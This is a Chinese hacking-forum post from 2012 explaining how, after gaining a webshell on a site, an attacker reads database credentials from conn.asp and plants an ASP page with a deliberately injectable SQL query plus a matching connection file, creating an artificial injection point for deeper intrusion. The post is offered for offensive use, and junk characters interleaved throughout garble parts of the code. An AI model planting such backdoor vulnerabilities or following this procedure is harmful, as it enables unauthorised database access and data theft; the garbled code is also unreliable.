找回密码
 立即注册
查看: 2668|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
1 s: y& K8 o$ A$ P: `' z1 j3 i% R% X( p  z  I  {9 M4 y. F
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
0 s- B' i3 g0 w" `; ]* m7 d2 ?5 O7 a# ]! u; K- v6 d
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
  I) A- B. s/ O1 P" P: K+ f) X# S. I  i* y3 g* s6 A& D9 S
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和) d) V) W' `$ H7 g2 ~

, b$ n6 ?6 S$ L6 k4 W密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表& z! `( N/ j( [" h9 {. z6 v
  ^/ V# F: K' I  S- P# @3 c7 J/ s
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:4 ?1 _  ]7 |, A5 [0 N# ^
' R0 ^' S8 J; m0 o
程序代码
. ^0 e- P% n3 {" d6 j<!--#include file="xx.asp"-->
; G6 l8 t4 `1 L" P+ g8 V6 |<%' e+ E' r) j# S+ s& t6 g
set rs=server.createobject("ADODB.recordset")' P$ ^# g. F) ~# m; L5 R( i* s
id = request("id"); N. ~3 \# r# G, s" V! A
strSQL = "select * from admin where id=" & id
  {1 l+ {4 K( w. g, Q9 B9 wrs.open strSQL,conn,1,3
0 k: V, g' D: j+ A" `rs.close
) R7 b& s' S+ j6 a* \%>; T6 |* N1 \- H# n' Y: }

( ]3 k) y4 A! P( Y把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
' x* z& {. t3 _, H6 s% A( @/ a
8 K6 d, Q/ Y, T# E你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!) P* U1 r3 C  e8 b

2 t: H' g5 A& o8 J然后就要构造一个连接数据库的文件了,代码如下:( E3 I" g1 r7 V! \6 O9 _4 B* e
程序代码
4 I8 v9 S! Q7 S( g2 @0 m* _  r+ F- L<%        
% J/ R* U- w5 astrSQLServerName = "000.000.000.000"     '服务器名称或地址
) R% v. w) m% R5 Q6 ^$ Y6 f4 r6 ustrSQLDBUserName = "sqlname"         '数据库帐号
7 v% S3 E' {! M9 p$ t; D3 |strSQLDBPassword = "sqlpass"         '数据库密码
9 J% @5 F/ J% mstrSQLDBName = "sqldataname"           '数据库名称6 V- \- a+ a6 a, Y
Set conn = Server.CreateObject("ADODB.Connection")
! O! P7 _/ G8 F. O3 OstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
  ^  P7 C  R3 X% lconn.open strCon& A0 \, q3 z2 A( D, C/ k/ d" O
%>
; w0 G' m" V, n  E2 l1 k
* e( L$ g1 o8 s: u" Y这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,* S; c: T  W; F2 k) ?; o: H" e* o3 a4 U
- m, l( r- N' ]
就这样,正常情况下,就OK了,伪造成功……* Y; _: n. ]/ r  f2 g! d& Z; q& U
" A) ]8 Z# k: u+ {7 M0 t
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表